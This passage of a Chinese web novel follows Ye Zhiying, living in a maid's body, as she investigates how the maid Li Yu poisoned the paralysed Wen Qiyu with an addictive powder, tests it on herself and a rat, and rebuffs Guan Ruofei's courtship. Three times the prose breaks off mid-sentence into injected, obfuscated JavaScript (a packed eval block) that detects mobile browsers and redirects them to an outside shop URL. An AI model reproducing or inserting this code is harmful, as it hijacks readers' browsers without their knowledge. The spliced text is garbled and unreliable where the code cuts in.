醒来时,她发现自己躺在一张床上,身边还躺着另一个人。心中有种按捺不住的冲动,她直接趴在了那人身上,纤长的手指伸进宽大的衣袍,在他光滑的皮肤上游走,柔软的舌尖从他裸露的胸口一直向上,先安抚了那大而突出的喉结,又挑逗着那两瓣性感的薄唇。情到浓处,她睁眼一看,发现身下的人竟然是——温其玉! 倒吸一口凉气,叶之萤惊恐地睁开了眼,周围一片漆黑,她一下又一下地喘着粗气,下意识想伸手摸一摸身边到底有没有人,可是浑身无力,实在抬不起胳膊。 随着意识慢慢苏醒,她意识到那只是个梦。 可是,怎么会好端端地做这样的梦?她睁着眼睛熬到天亮,都没有想通。 第二天早晨,当阿力来敲她房门的时候,她已经几乎快要站不起来了。只能一路撑着床和桌子才艰难地为他开了门。 “叶小姐,你这又是怎么了?”他急忙搀扶着她坐回床上。 “阿力,我有件事要告诉你!”经过了上次的身份事件,叶之萤已经将阿力列入自己的可信任白名单里。 半个时辰后 “不会吧?”阿力似乎是不愿相信她说的话。 叶之萤不愿与他再多解释,只是对他说:“药还在桌子底下放着,你要是不信,可以像我一样吃一点儿,一试便知真假!” 这时,阿力才跟她坦白了一件事:“少爷前些日子也让我来你房里搜查了一番,他没有告诉我具体的原因,只是说是要检查一下这房中有没有什么奇怪的东西。如此说来的话,少爷恐怕也起了疑。” 果然! “那你搜出什么了吗?”叶之萤问。 “没有。”阿力有些尴尬。 “工作不够细致啊!得让你家少爷扣你工资才行。”叶之萤借机调侃他。 阿力立刻求饶:“叶小姐,别打趣我了,我还有一疑问,若是那粉末真有问题,那老鼠吃了为何没事?” “我和你有一样的困惑,你捉那只老鼠时用了什么方法?” “你要活的嘛,我只能用迷药先将它迷晕,然后装在笼子里带过来给你。” “什么迷药?你在哪儿弄的迷药?”她急忙追问。 “就在后院,有一种草,叫……叫……腥月草,味道很冲,叶片如同弯月,把它晒干后点燃,老鼠闻了后就会被迷晕。” “腥月草?你以前见过李渔动这些草吗?”叶之萤想,这草恐怕也和这毒药有某种关联,或许可以解毒也说不定。 阿力点头道:“这些草就是她种的,李渔家中原本就是做草药生意的,据说这是阿尔钦那边的植物。黎城四季如春,景色优美,自然虫子也多。我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991643|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚搬过来的时候,这里总有蛇虫鼠蚁出没,渔儿就种了这些草,教我们晒干点燃,熏了几次,就再没有其他虫子出现了,除了偶尔还有老鼠。” 叶之萤心中已经有了答案:“看来这草不光有驱虫作用,恐怕还是解药呢!” “你是说,老鼠之所以喝了那药没事,是因为提前闻过了腥月草?” “我之前一直想不通,这粉末产生的味道既然能让人飘飘欲仙,她将这粉末喷在身上,温其玉闻得到,她自己不是也闻到了吗?她为什么不会被这味道影响?如此说来的话,原来她有解药!”叶之萤不住地摇头,她不敢相信这个李渔竟然如此歹毒。 “渔儿给少爷下毒,那她为什么这么做呢?少爷救过她的命啊!”阿力显然一时之间还难以接受此事。 叶之萤冷笑一声,没有接话。恐怕事情的真相远比他以为的更为残酷。 “你那里还有晾晒后的腥月草吗?”她问他。 “还有一点儿,上次捉老鼠没用完的。” “等会儿抽空拿给我,我有用!另外,等这老鼠体内的腥月草药力散去后,我还要用它再试一试那药。这两天我就不去温其玉那儿了,你帮我拖住,别让他察觉。还有,千万不要让林大夫来给我看病,我也不吃药,每天按时送来三餐就行。”她事无巨细的向他交代着。 “我知道了,叶小姐,辛苦你了!你与少爷乃萍水相逢,却愿意为了他如此拼命,请受阿力一拜!”说完,他双手抱拳,向她躬身行礼。 “快起来吧,既然这事意外被我发现了,我也想查个水落石出,也不全是为了温其玉,你就当是一种……使命感吧!”叶之萤一向好奇心重,正义感爆棚,又喜欢征服别人。夜里睡不着觉时,她总是会在脑子里编各种稀奇古怪的剧情,把自己想象成一个超级英雄,在世界各地解救受困于苦难的人们,接受世人的崇拜和尊敬。如今终于有机会一展身手,机会难得,她自然会拼尽全力。 阿力离开后,她又检查了床头那块手帕,此时已经闻不出一丁点味道了,据她估算,这味道总共能停留六个小时,也就是三个时辰左右。 下午,门突然响了。 “谁?”她警惕地问。 “夜莺,是我!”是关若飞的声音。 “有事吗?”她尽量让自己的声音听起来正常一些。 “噢,也没什么事,就是听阿力说你有点不舒服,过来看看你。” “我没事,可能是着风了,头有点疼,浑身乏力,休息休息就好,多谢挂怀!” “你不请我进去坐坐吗?”他竟然赖在门外不走了。 “风寒恐传染,为了你的健康着想,就先不请你进来坐了!请回吧!”叶之萤装着咳嗽了两声,直接对他下了逐客令。 “好吧!我为你准备了几副治疗头痛的膏药,贴在太阳穴处可缓解痛楚,我放在门口,你等下出来拿进去吧!” “谢谢!” 门上透过他的影子,她看到他将药膏放在门口就离开了。 这些日子相处下来,叶之萤打心里觉得关若飞是个不错的男孩子,善良、简单、开朗、有趣,心胸开阔,有什么想法都不遮掩,看得出来是在宽松有爱的家庭环境中长大的。与他相处很是轻松,不需要担心什么该说什么不该说,最适合像她这种口无遮拦的人。 21. 意外的表白 第二日,她便觉得身体好了大半,第三日一早起来,四肢就恢复力量了,与平时无异。只是,发生了一件可怕的事,她开始提不起精神,血液里像是有许多小虫子在爬,四肢时不时就袭来一阵奇痒。更可怕的是,她的情绪似乎也失控了,没有由来的想发脾气,想骂人,甚至想摔东西、想打人…… 没有人让她发泄,可是胸中的愤怒必须要释放出来,又怕被隔壁听见动静,她只好把床上的被褥拿起来使劲砸了一遍又一遍,还不解恨,又拿起来用手撕扯,用牙咬,以此缓解心中的不痛快。而这个时候,她发现脑子里迫切渴望的只有一种东西,就是那股异香! 她知道这都是毒药的作用,只是她没想到不过两次而已,自己就已经对那毒药产生了如此可怕的心理依赖!温其玉可是长期被投毒啊!怪不得他那段时间对她态度那么差。 到了夜里,锦被的被面、身下的褥子都已经被她徒手撕成了一条条的,床上一片狼藉,没有一块完好的地方…… 又过了一日,她总算不想打人骂人了,情绪却莫名低落,不吃不喝,不愿说话,只是躺在床上一味叹气流泪,一想到自己悲惨的经历,就痛苦得恨不得撞墙自尽,枕头、被子都被眼泪浸透了。 肿胀的双眼再也瞒不住关若飞,大嗓门的关若飞又惊动了温其玉。她被搀扶到了温其玉的房中,面对眼泪汪汪、哭得不能自已的她,二人束手无策,承诺定会尽力帮她找到回家的办法。 直到第六日,叶之萤才彻底好了。而亲身经历了这毒药的威力后,她才理解了温其玉当时的痛苦。他体内的毒素远超自己百倍,相较他当时的中毒程度,他作的那些妖在如今看来,都只能化成一句:意志力忒强大了! 叶之萤又给老鼠喂了些药,打算晚些时候再观察它的变化。谁知,才刚洗漱完毕,就发现老鼠已经不再活泼欢脱,而是变得有气无力、四肢不稳、头重脚轻,不一会儿,就安静地趴在笼子里不动了。 如今这药的作用在自己还有老鼠身上都得到了印证,叶之萤几乎已经可以确定,温其玉就是被李渔下毒所害。 她对着铜镜打量着自己如今这张脸,实在想不到,这样一张恬淡文静的容貌下,居然藏着那么狠辣的一颗心。而自己如今还和这种人共用一张脸,她心中泛起一阵厌恶,赶紧扣起铜镜,顶着依旧肿胀未消的双眼去了隔壁。 阿力和关若飞也都在温其玉房里。看到叶之萤来了,关衙内急忙起身相迎:“夜莺,你身子好了吗?要是没好全的话,不用着急过来,阿卓也可以给阿力帮忙!” 叶之萤刚一看到床上的温其玉,就想到前几晚做的那个梦,心里一阵羞耻,赶紧收回了目光。 收回目光时,她看到他似乎张了嘴,像是有话要说,可等了半天,也没听见他的声音。 “我已经好了,不用担心!”她主动对床上的人说,并朝他点头示意。他也同样回以微笑。 “夜莺,那你快过来吃饭吧!”关若飞谄媚地帮她摆好了椅子。 而叶之萤对此自然是心生反感:“我要先喂你兄长吃,你自己吃吧。” 自从换回了自己的身份,她便再也没有叫过温其玉“少爷”了。扮演李渔时,她可以很自如的叫他“少爷”,可是变回叶之萤后,却怎么也不愿意再叫那两个字了。归根结底,她骨子里是骄傲的,即便现在做的事情和李渔之前并无区别,但她始终没觉得自己的身份低他一等。 “兄长有阿力伺候,你快过来坐下和我一起吃。”关衙内急着招呼她坐在他旁边。 “你去吃吧,身子才刚好,这些事就让阿力做。”温其玉口中的“这些事”就是照顾他的事。 叶之萤不想推辞他的一番心意,但更重要的是,那个梦让她始终有些羞于面对他,便不再客气坐在了桌旁。 “尝尝这个,这个是我从京城带过来的。”关若飞夹了一块红豆糕给她。 “从京城带过来的,竟然没坏?”她夹起那块红豆糕来回检查。 关若飞辩解道:“你放心吃吧,别看了!是用我带来的红豆今儿早上才现做的,怎么会坏呢?” “谁让你不说清楚!”她呛他的同时,把那块豆糕夹回到了他的碗里。 “好吧好吧,是我的错!那你再尝尝这个,这里的特色——鲜花饼!”他又殷勤地为叶之萤夹了一块桃花形状的糕点。 叶之萤突然想到了那天因为沾上山茶花花粉而红肿的双手,好几天才消退,赶紧摇头拒绝:“鲜花饼?不要不要,这个李渔不知道还对什么花过敏,我可不敢再吃了!” 他只好又把鲜花饼放回自己碗里,又夹起一块香菇给她:“那你吃这个吧,这可是长白山的香菇,鲜嫩多汁,特别好吃,也是我带来的!” 她依旧摇头拒绝:“不好意思,我不吃香菇!” 关若飞脸上的笑容逐渐凝固,只好把香菇也放在自己越堆越高的碗里,又夹了一片牛肉,不死心道:“那尝尝这块牛肉总可以吧!别说你不吃,我那天见你吃牛肉了!” “牛肉我吃,但这个牛肉沾上了香菜,香菜我不吃!”叶之萤发誓,她真的不是故意拒绝他,看着他逐渐崩溃的表情,她已经快要憋不住笑了。 “你……”他想生气又不敢,脸上一阵红一阵白。 正在伺候温其玉吃饭的阿力和阿卓也跟着笑起来。 “你们笑什么?不准笑!”他气急败坏地说,结果显而易见,并没有人理他。 “兄长,怎么连你也笑!”他气急败坏地指着桌上那些菜说,“这样吧,你自己说你吃哪个,让我夹给你!” 叶之萤被他纠缠得一脸无奈:“为什么非要你给我夹?我自己可以夹啊!” “不行,事关本少爷的面子,今日必须得给你夹一个。”看得出来,他的态度已经尽可能强硬了,但他这个人太随和了,以至于根本没有气势。 “那我也不行,今天就不让你夹!”她偏和他对着干。 没想到,他的声音竟然直接夹起来了:“叶姐姐,就让我给你夹一个吧!” 叶之萤简直惊呆了,她一转头,正好瞥到了床上坐着的温其玉,正悠哉地看着她俩的热闹。 她脑海中闪过他曾说过的一句话,突然玩心大起,一本正经地对关若飞道:“我记得之前有人夸我能屈能伸,没想到你也不遑多让!” 那人的表情变得有些尴尬。 没想到,关若飞却顺着她的话接了一句:“这说明我俩天生一对啊!” 叶之萤避之不及:“谁跟你天生一对?天都大亮了你还在梦里呢!” “兄长!”正说笑着,关若飞不知怎的突然就收起了顽劣,一本正经起来。 “何事?”温其玉同样语气严肃。刚才还是打打闹闹的氛围一下子就被二人烘托的紧张起来。 只见关若飞突然从凳子上起身走到了床边,双手抱拳,向温其玉行了个礼:“不知兄长现下对李渔是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991644|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何种感情?请如实相告。” 温其玉几乎没有犹豫,便道:“李渔是我的丫鬟,仅此而已。” 哼!一提到李渔,就想到李渔做的那些事,叶之萤没忍住翻了个白眼,却被温其玉看见了。他的眉心微微隆起,似乎是在思考她为何如此反应。 关若飞并没有注意两人的反应,继续问道:“那兄长对这幅躯体里的叶小姐又是何感情?” 随着他的话音落下,一双筷子停在了温其玉嘴边,筷子上夹的那片牛肉却迟迟等不来它的享用者。 餐桌旁的叶之萤也同样放下了碗筷,吃瓜吃到了自己身上,但别说,她还挺好奇他会怎么回答。 只见温其玉开口说道:“叶小姐……很好,有幸与她相识一场,希望她能早日回家。” 关若飞的表情一下子轻松了:“兄长的意思是,对她没有特别的感情?既然如此,那我便可放心追求她了!” 叶之萤这下真炸毛了:“追求我?你疯了?” 他没有理会叶之萤的惊讶,却继续对温其玉说:“兄长,虽然叶小姐仍是李渔的样貌,但言行、举止、性格、见识均与李渔区别甚大,若飞第一次与她见面,便被她大胆张扬的气质所吸引,虽然我曾与李渔一起生活过一段时间,但是这些日子相处下来,我却从未将她当成是李渔,她虽然长着李渔的样子,却完全是另外一个人。所以,我追求的是叶之萤,不是李渔,希望兄长不要介怀。” 温其玉淡然一笑,道:“若飞,你若想要追求叶小姐,是否应该先征得她本人的意见?你们二人之事,我本无权干涉,只是,叶小姐如今在渔儿的身体里,我仍需提醒你一点,莫要使二人因你受到伤害。” 关若飞口口声声要追求自己,结果竟然从头到尾都没问过一句自己愿不愿意,只知道在那里自说自话,已经很让叶之萤生气了,而当温其玉说完这些之后,二人之间的对比则更是惨烈。 关若飞却还在一旁人模人样地道谢:“若飞明白,多谢兄长提醒!” 叶之萤听不下去了,反唇相讥道:“你明白什么?你要追求的不是我吗?你不来问我意见,征求他同意干嘛?” 他却摇头道:“非也,追求你是我的事情,你可以同意,也可以拒绝,但你不能阻止我追求你!” “我不同意!”叶之萤断然拒绝,“另外,我也不赞同你的话。如果我不同意,而你却执意要做的话,那么你的追求对我来说就是一种骚扰!” 他的气势一下子弱了下去:“夜莺,你相信我,我不会骚扰你的!” “总之我不同意!关衙内,你听我说,你根本就不是喜欢我,只是对我好奇罢了,等过段时间这个劲儿过去了,你自然就不会再这么想了!” “你的意思是我薄情寡义?你凭什么这么说?”他气急败坏地质问她。 “我哪儿说你薄情寡义了?我只是替你分析而已!” “我自己的感情我自己明白,不用你分析!” “幼稚!” 关若飞态度又软了下来,死乞白赖地问她:“难道你不喜欢主动的男子?那你喜欢什么性格?告诉我,我可以为你做出改变!” “我不喜欢比我小的男人,还有,我不是不喜欢主动,是不喜欢你主动!”说话时,她特意在“你”字上加了重音。 关若飞被她打击得伤了自尊,不再和她争辩,只是丧着一张脸说:“算了,你们忙着吧,我先回房了!阿卓,走!” 22. 一张丑垫子 叶之萤并没有被这突如其来的表白影响到,毕竟这样的场面她经历得实在太多了。更何况,她如今一门心思都铺在破案和如何回家这两件事上,根本顾不上谈其他。 “我看你现在能坐很久了,是不是觉得身体好像有点儿力气了。”她急着打听温其玉的身体状况,想从中再掌握一些蛛丝马迹。 “嗯,是有些力气了。”他脸上浮现出一丝不易察觉的微笑,看起来对自己的身体变化也很高兴。 “是从什么时候开始感觉到变化的?”她继续追问。 他想了想道:“从你……第二次假扮渔儿开始。就这一个多月。” 她一边问,一边在心里推算着他身体恢复的时间和李渔昏迷的时间是否能对上。 假设他是被李渔长期投毒,身体里的毒素积累必定会比较深,完全代谢需要过程。李渔昏迷了近一个月,自己来到李渔的身体里也是一个多月,也就是说,从两个月前,他便没有再被下毒。 自己刚来的那几日,秉性宽厚沉稳的他却一反常态的疯癫冲动,连他自己都说,那时的他完全控制不了自己的心智。当时大家都以为他是因为思念李渔才变成那样,但现在想来,其实他正在经历毒药的戒断反应,所以才性情大变,跟她冲突不断,还不断地想要在她身上寻找那股异香。 当她自己试过那毒药之后,她才知道比起自己那日的疯狂,温其玉当时其实已经很克制了。 至于她被关在柴房那几日,他也并不是真的想求死,只是毒药的戒断反应正好到了最后一步,才令他抑郁痛苦,不吃不喝。 等她第二次扮演李渔时,他其实已经依靠自己的意志力完全戒断了毒药,恢复了本来的自己,所以他才明知她不是李渔,仍然愿意配合她的表演,这也就解释了为何他对李渔的感情突然就消失了。 只是他当时经历了那么多的打击,即使身体已经有了细微变化,恐怕他也很难立刻觉察。而现在,他整个人重新安定下来后,才终于感觉到了身体上的变化。 “叶小姐?”他轻声唤她。 叶之萤回过神来,继续询问:“是不是林大夫最近的药方变了?” 他笑着摇头:“林大夫坚信他的药有效果,即使前几个月都不见效,也始终没有换过方子。” 也就是说,同样的药,之前吃了没效果,现在突然有用了! 叶之萤已经可以完全确定,温其玉就是被下毒了!可是,这毒对他会有多大损伤?能不能完全排干净?他能恢复到什么程度?这些问题还需要再用老鼠做实验! “叶小姐?是否身体尚未恢复?”温其玉看她一直心不在焉,忍不住问她。 “恢复了,恢复了!我……我就是……在想……想……”想什么呢,为了不露馅,她灵机一动,“想刚才关衙内说的话!” 不知道他信了没有,总之,他没有再纠缠这个问题,应该说,他没有再和她说话。 “你要喝水吗?”叶之萤问他。 “不用,多谢。”他客气地回答。 “要不我给你读本书?” “不用,多谢!” “要不……” “什么都不用,叶小姐!”他的语气虽然还是很平静,但言语里明显有了些疏离。 “那你有什么需要就叫我!” “好的,多谢!” 自从自己变回叶之萤,温其玉对她就非常客气和见外,叶之萤猜想,他恐怕是不想被她照顾的,只是碍于她的哀求,才被迫同意她继续干李渔的工作。 每次为他做一件事,他都要客气的道谢,虽然“多谢”这样的礼貌之词他以前也会对李渔说,但绝对没有这么频繁。不仅如此,除了她主动做的事以外,他绝不会指挥或要求她做其他事,哪怕渴了想喝水,只要她不主动喂他,他宁愿忍着也不会开口。 自从叶之萤发现这一点后,在他面前就变得非常啰嗦,反复地问他需不需要喝水,需不需要看书,需不需要坐一下,需不需要上厕所……直到把他问烦才消停,但过不了多久,她就又会开始新一轮的问话,直到他再次厌烦……但这可不怪她,谁让他不主动说呢? 晚上,叶之萤回到李渔的房间,第一件事就是去看笼中的老鼠,那只灰鼠已经完全瘫倒在笼中,任她如何拨弄都不得动弹,她将沾有药水的手帕盖在它身体上,看着它先是努力用鼻子去嗅那张手帕,嗅了一会儿,又开始用舌头舔。 “笃笃笃。” 有人敲门。 “谁?”她急忙用布将笼子盖住。 “是我!”关若飞的声音。 她走到门口为他开了门,身体却堵在了门口:“这么晚了,有什么事吗?” 他往屋里看了一眼,见叶之萤并没有请自己进去的意思,尴尬地笑了下,说:“我这几日为兄长做了张躺椅,椅子已经做好了,但是上面的软垫需要用针缝合,我实在是做不来,就想请你帮帮忙!” “缝垫子?”她大笑起来,“那你可找错人了,我用针线的水平可能和你差不多,说不定还没你好呢!” “不会吧?你可是个女孩子,怎么会……” “女孩子怎么了?”叶之萤打断了他的话,“你让我缝个扣子倒可以试试,一整张垫子,太难为了。” 他一听,顿时满面愁容:“那我只能去找其他丫鬟缝了,只是这会儿丫鬟们都睡下了,本想着明日就可以送给他的,看来又得拖些日子了。” “你做的什么躺椅啊?”叶之萤不禁有些好奇。 他一下来了精神:“走,我带你去欣赏一下我的大作。” 她便跟着去了他房间。 一进门,就看到了他口中的“大作”。原本叶之萤是想笑话他来着,可当她看到那张躺椅,心中就只剩佩服了。 躺椅是用竹子做的,很轻便,款式好看,做工细致,近看连一根毛刺都没有,用手摸一下也是光滑细腻,明显是经过仔细打磨的。椅子两侧有扶手,椅背可以调角度,仔细看,座位处与地面也不是水平的,而是被精心设计成前高后低,这样温其玉坐在上面就不会往下滑了,甚至连凳子腿都做成了摇椅的样子,躺在上面椅子就能自己晃动。 她忍不住躺了一下,不得不说,真的挺舒服! “这是你做的?” “当然!”他得意地挑眉。 “亲手做的?没有别人帮忙?”她实在不敢相信。 “亲手做的,没有别人帮忙!”他回答。 “我厉害吗?”他像一个急于邀功的孩子,等待叶之萤的夸奖。 “厉害,厉害!”她如实回答。真没想到,他竟然还有这一手。 “有了这个躺椅,兄长就可以在门口晒太阳了!我这次过来,看他又憔悴了许多,他以前可不是这样,以前兄长身材健硕,比我高也比我壮,我和阿力加起来也打不过他。”话语间充满了遗憾和对从前的怀念。 “到这里之后,我猜他可能还没出过房门呢。”叶之萤也不免惆怅起来。 “你说的是什么垫子?要不我试试吧。”为了让温其玉能早点出门,她决定试着做一下。 一夜没眠,叶之萤终于按照关若飞的想法把软垫缝出来了,代价就是左手五个指头都被针扎了无数次。再看那张软垫,虽然尺寸挺合适,但是形状不整齐,走线也是歪歪扭扭,布料因为裁错了尺寸,被她像补丁一样重新拼接在一起,一看就是次品中的次品,实在拿不出手。 关若飞却很是开心:“夜莺,真是多亏了你!走吧,我们一起把这个躺椅拿过去!” “要不还是算了吧。”她把垫子从躺椅上拿起来,“你还是找丫鬟们重新缝一个吧,这太丑了,他肯定不愿意用。” 温其玉虽然四肢瘫痪,但几个月的相处下来,叶之萤早就发现他是个爱美的讲究人。这样的东西拿过去,人家是肯定不愿意用的,但不用吧,似乎又驳了她一番心意,最后只能硬着头皮用,这不是给人添堵吗? 关若飞却从她手里一把抢过软垫:“没事,今日先用你的,后面我再找丫鬟重新做。” 话说到这个份上,叶之萤只好硬着头皮跟他一起把椅子抬到了温其玉房门口。 “兄长!兄长!”他一进屋子,就开心地嚷嚷起来,“我和夜莺一起为你准备了件礼物!我带你去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“很好,若飞,还有叶小姐,谢谢你们!” 叶之萤连忙摆手:“你谢他就好,这个椅子全部是他一个人做的,我只是帮忙缝了个丑垫子而已!” “什么丑垫子?这可是独一无二的、你亲手所做的垫子!”关若飞介绍的声情并茂,“兄长,这可是叶小姐平生第一次做针线活,缝了一夜才缝好的,手指都被针扎成马蜂窝了,可把我心疼坏了!” 温其玉的目光随着关若飞的话落在叶之萤的手上,叶之萤看到他眉头微蹙,似乎是想要检查她手指的伤,忙将双手握拳,不让他看到,又主动活跃气氛:“马蜂窝?亏你想得出来。要不你等着,我给你挤点蜂蜜出来?” 大家都被她逗笑了。 “对了,兄长,这垫子你可不能扔了啊,你要是不喜欢,等新垫子到了,就把这个还给我!”关若飞一本正经地说。 “这是我做的,要还也是还给我,为什么要还给你?”叶之萤反问道。 “你不是嫌丑吗?我不嫌!”关若飞理直气壮道。 “再丑也是我的,这可是我人生中第一个缝纫作品,得好好珍藏,你想要?想得美!”俩人又开始斗嘴。 而温其玉,他躺在椅子上,正在细细地观察着这小院的一切,他看得很慢,目光落在园中的每一棵树上、每一朵花上,落在房屋的每一块砖上、每一片瓦上,落在天空的每一朵云上、每一只鸟上,这是他生活的世界,也是很久都未曾蒙面的世界。清晨的阳光还不太刺眼,他的眼睛却被刺激地不停颤抖。他的瞳孔在阳光的照射下变成了琥珀色,慢慢地,好像真的变成了琥珀,琥珀里含着一颗钻石,光芒四射、熠熠生辉。他轻轻地闭上了眼睛,用嗅觉去感受这个世界。 叶之萤看到他的胸口起伏的速度很快、很明显,很久很久,他才又一次睁开了双眼,目光落在了一朵红色的花上,它娇艳欲滴,如同一位身着红裙的女人正在随风而舞。这花她认得,它身上长满了刺,是月季,也叫红玫瑰。 23. 垫子归谁? 自从有了这个躺椅,关若飞每天都抱他出来晒太阳,很快,他过于苍白的皮肤就在紫外线的作用下变得健康红润起来。 三日后,阿卓便从外面的裁缝铺取回了新的软垫。有了对比,叶之萤缝的那个补丁垫子更是丑得没眼看。 她赶紧把那张垫子抽掉,换上了新的那个:“温……少爷,新垫子帮你换好了,这个,我就拿走啦!”她朝他晃了晃手里的垫子。 “多谢!”他看了一眼她手里的垫子,不知为何,她觉得他似乎有些不太情愿。 “怎么了?”她问他。 “没事。”他回,“对了,以后就叫我名字。” 叶之萤在脑子里想了半天,实在不知道这个名字该怎么叫出口。自从她变回自己,就再也没有叫过他了,几乎每次和他说话,都是“白搭话”,实在要叫的话,也只是勉强叫个“温少爷”,其他称呼都觉得怪怪的。 “怎么了?”这回轮到他问了。 “你看啊,‘温其玉’这三个字我实在是叫不出口,毕竟以前跟你吵架的时候就这么叫你,现在再这么叫你总觉得又要和你吵架……但如果不带姓的话,直接叫……‘其玉’,好像也不合适,像叫男朋友似的,我也叫不出口。”她颇为为难地看着他。 他冷笑一声,道:“你的思维很丰富。” “你是在嘲笑我吗?”她假装生气,板起了脸。 “不敢,我在夸你。”他没有被她的表情唬住,眼神充满攻势,不禁让叶之萤又联想到刚认识他时他那嚣张跋扈的姿态。 “那就谢谢先生的夸奖了!”她也不再与他假装客气,变回了之前的叶之萤。 “先生?”他皱起眉头,对这个称呼显然不满意。 “我们那里都是这样称呼男性的。”她跟他解释。 “你可知在这里,‘先生’是什么意思?”他反问道。 “是对有学识的人的尊称吧?”叶之萤其实并不太确定。 “是。”他的回答印证了她的猜想。 叶之萤也问他:“那你知道‘小姐’在我们那里是什么意思吗?” “什么意思?”他看她笑了起来,表情更加困惑。 叶之萤附身靠近他的头,刚一靠近,他的表情就慌了起来,可叶之萤并没有注意到,继续将嘴对准他的耳朵,为他公布了答案。说完后,嘴还没有离开他的耳朵,就看到他的耳廓一下子全变红了,她这才又看向他的脸,发现他脸上浮现出掩饰不住的尴尬。 “怎么,害羞了?”她继续逗他,一副看热闹不嫌事大的样子。 “你,为何不早说?”他被她戏弄得尴尬不已。 “那有什么关系?这里的人都这么叫,难道每个人叫‘小姐’我都要纠正吗?称呼而已!更何况,这称呼本无问题,有问题的是歪曲它本意的人罢了!”她笑了一声继续道,“在我们那里,‘同志’不是同志,‘小姐’也不是小姐,连‘菊花’都不是‘菊花’,说到底,污浊的是环境和人心,并不是这称呼本身。” “那我以后要如何称呼你?”他似乎很是赞同她的观点,也很快恢复了本色。 “‘叶小姐’,‘叶姑娘’,或者,像你弟弟一样叫我‘夜莺’,都可以。” “好!”虽然对于怎么称呼她这个话题,二人讨论了半天也没个结果,但他还是乖巧地答应着。 “我以后还是叫你‘温少爷’吧?” …… 他半天没有说话,过了一会儿,就在叶之萤以为他不会再回答的时候,安静的屋子里突然又响起了他的声音:“叶……姑娘。” 他终于定下了对她的称呼。 “怎么了?”她凑近身体问他。 他看着凳子上放着的那张准备拿走的软垫,道:“这个软垫,可以留在这儿吗?” “你是说我缝的这个吗?”叶之萤以为自己理解错了,指着垫子跟他确认。 “嗯。”他点头。 “这么难看,你不嫌啊?”她嘴上嫌弃着,脸上却已经笑开了花。毕竟是专门为他缝的,虽然丑了点,但好歹也是自己的一番心意,如果他愿意接受,那她自然开心。 “确实是丑了点。”他如是说。 叶之萤脸上的笑容刚绽开就瞬间僵住。 “但是很舒适。” 僵住的笑容又融化开来:“讨厌!你怎么说话还大喘气儿啊!” 他也被她逗得笑了起来。 俩人正笑着,关若飞来了,温其玉脸上的笑容一秒散去,好像刚才没有说笑一样。 而叶之萤看到关若飞,感觉有些尴尬,但也不知道在尴尬什么。 “夜莺,我有事与兄长商议。”他说。 “好的,那你们聊,我先回房,有需要随时叫我。”叶之萤冲温其玉笑了一下,便回房去了。 直到晚饭时,阿力才又过来叫她。一进屋,就看见关若飞一只手拿着一个信封,信封上的墨迹还没干,应该是刚写完不久,另一只手拿着一个勺子,里面装的应该是火漆,正在油灯上烤化,准备给信封盖火漆,她一时好奇,便走上前去看。 关若飞见她靠近,立马将信封有字的那面反过去,不让她看到。 “怎么,防着我啊?”她一边笑着打趣,一边自觉撤到远处,和他安全距离。 关若飞这个人吧,嘴欠起来是真欠,居然说:“你来路不明,事关重大,我自然得谨慎些……” 叶之萤照着他的屁股就是一脚,踹得他一个趔趄,飞出去老远:“你说谁来路不明呢?” 他站稳后,捂着屁股陪笑道:“叶女侠好伸手,是我说错话了,你别当真,别当真!” 玩笑间,他已经回到了刚才的地方,将火漆浇在了信封封口处。 “我懒得搭理你!”叶之萤冲他翻了个大大的白眼,就往温其玉的床边走去。 温其玉正靠着床头坐着,那个吃饭用的小木桌就摆在他面前,只是,那上面正放着一方砚台,上面搭着一支毛笔,旁边还放着一张信纸。 她顺手拿起了毛笔,在砚台上来回摆弄。 “会写字吗?”温其玉开口问她。 她点头 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“为何不愿意?”关若飞追问原因。 “首先,我对你们这里的集市不感兴趣,并不想去逛;其次,我对黎城也不感兴趣,没什么好看的;第三,我逛街不需要你陪;第四,我想要的东西可以自己买,买不起我可以不要,不需要你给我买;第五,你我认识不过区区数日,我对你的了解仅仅是知道你的名字,其余一概不知,和你一起外出,我不放心!” 她很生气,一口气列举出了数条拒绝关若飞的理由,没想到他听完后却笑了。 “你笑什么?”叶之萤觉得他简直莫名其妙。 “我果然没喜欢错人,夜莺,你真的很有个性!” …… 叶之萤几乎要被他气晕过去。 “小弟弟,感情是很认真的事情,我劝你不要玩了!” “我没有玩,我喜欢你就是认真的!” …… 对牛弹琴! “你才见了我几面啊?你连我长什么样子都还不知道呢,就敢说你喜欢我?” “我何必要在意你长什么样子!你年轻或年老,貌美或貌丑,又有何关系?人这一生,相貌本就是不断变化的,我是被你的气质和内在所吸引的,又不是因为你的外表。我与李渔也曾相处了一年多,但我从未对她生出任何情愫,而你,虽与她相貌相同,却仅仅一面之缘就深深吸引了我,这难道还不能说明,我喜欢的是你叶之萤吗?” 叶之萤没想到,这个看似玩世不恭的大少爷能说出一番如此富有哲理的话,自己竟被他说得无力反驳。 